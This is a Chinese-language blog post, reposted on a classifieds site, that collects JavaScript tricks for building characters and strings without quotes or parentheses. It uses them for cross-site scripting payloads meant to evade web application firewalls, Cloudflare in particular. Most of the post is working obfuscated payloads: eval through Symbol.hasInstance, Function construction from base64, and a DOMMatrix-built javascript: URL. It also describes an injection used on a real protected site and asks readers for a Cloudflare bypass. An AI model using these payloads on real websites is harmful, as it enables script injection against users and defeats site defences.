免费发布信息
当前位置:APP交易 > 热点资讯 > 资产交易 >  JS 生成字符及bypass waf初探

JS 生成字符及bypass waf初探

发表时间:2021-07-09 16:33:28  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

前言

结合在twitter和reddit上看到大佬们的各种生成字符的方式来谈谈waf的相关绕过

生成字符

1. 生成/code/字符串

var bs= 'ao0PTA7YWxlcnQoMTMzNykvLwa';
empty=RegExp.prototype.flags;
xx={};
xx.source=bs;
xx.flags=empty;
xx.toString=RegExp.prototype.toString;

2.生成:(?)

yy={...RegExp.prototype.source}
yy.toString=Array.prototype.shift
yy.length=4
left=yy+empty             //生成(
que = yy+empty            //生成?
colon=yy+empty            //生成:
right=yy+empty            //生成)

3.生成/

x=console;
x.toString = RegExp.prototype.toString;
x.valueOf = String.prototype.charAt;
x + "" // /

4.生成[

x=console
x.valueOf=String.prototype.charAt
x + "" // [

5.字符串大小写转换

x = ["a"]
x.valueOf = String.prototype.toUpperCase
x + "" // A

Bypass Waf

常见的一些方式这里就不说了,直接到这里淘便是,这里仅说一下最近看到的。

1.使用展开符和正则绕过单引号

首先将对象展开,然后将对象转为数组,最后用shift方法从数组中获取字符

x={...eval+0toString:Array.prototype.shiftlength:15}
x+x+x+x+x+x+x+x+x+x+x+x+x
x=/alert/.source+x+1337+x;
location=/java:/.source+x;

2.使用instanceof

window[Symbol.hasInstance]=eval
atob`YWxlcnQoMSk` instanceof window

3.使用constructor

atob.constructor(atob`YWxlcnQoMSk`)``
或者
atob.constructor(atob(/YWxlcnQoMSk/.source))()

4.使用新特性

void''??globalThis?.alert?.(...[0b1_0_1_0_0_1_1_1_0_0_1])

关于绕cloudflare的一点思考

最近做项目的过程中,发现一受到cloudflare保护的站存在XSS,简单构造了一个payload顺利的执行弹窗:

"><body/="throw%20onerror=alert12311;"><a+href="

但受到clodflare的影响,无法使用括号、注释符、模板字符、大括号及特定关键字等,不能实现任意代码执行,网上找了找文章,发现去年5月@garethheyes在portswigger上发了一篇名为XSS without parentheses and semi-colons的文章,其主要实现代码如下:

x=new DOMMatrix;
matrix=String.fromCharCode;
i=new DOMMatrix;
i.a=106;//j
i.b=97;//a
i.c=118;//v
i.d=97;//a
i.e=115;//s
i.f=99;//c
j=new DOMMatrix;
j.a=114;//r
j.b=105;//i
j.c=112;//p
j.d=116;//t
j.e=58;//:
j.f=32;//space
x.a=97;//a
x.b=108;//l
x.c=101;//e
x.d=114;//r
x.e=116;//t
x.f=40;//(
y=new DOMMatrix;
y.a=49;//1
y.b=51;//3
y.c=51;//3
y.d=55;//7
y.e=41;//)
y.f=59;//;
location='java:a='+i+'+'+j+'+'+x+'+'+y+';location=a;void 1';

执行以上代码可直接直接alert(1337)具体实现请移步这里

以上代码虽然能成功执行,但面对cloudflare还是无法顺利bypass

其主要原因是因为使用了location关键字,在cloudflare中一旦location被赋值将触发拦截,也就是说a=location;不拦截,而location=a;会拦截。那么我们很快便能想到如下的方式:

a=location;
a.href="java:alert(1)";
或者
a.search="?id=java:alert(1);";
再或者
a.pathname="/index/index.php?id=java:alert(1);";

但很不幸,这样的方式同样会被拦截,为此我尝试了很多种方式均无法bypass,希望有大佬指点指点。


责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470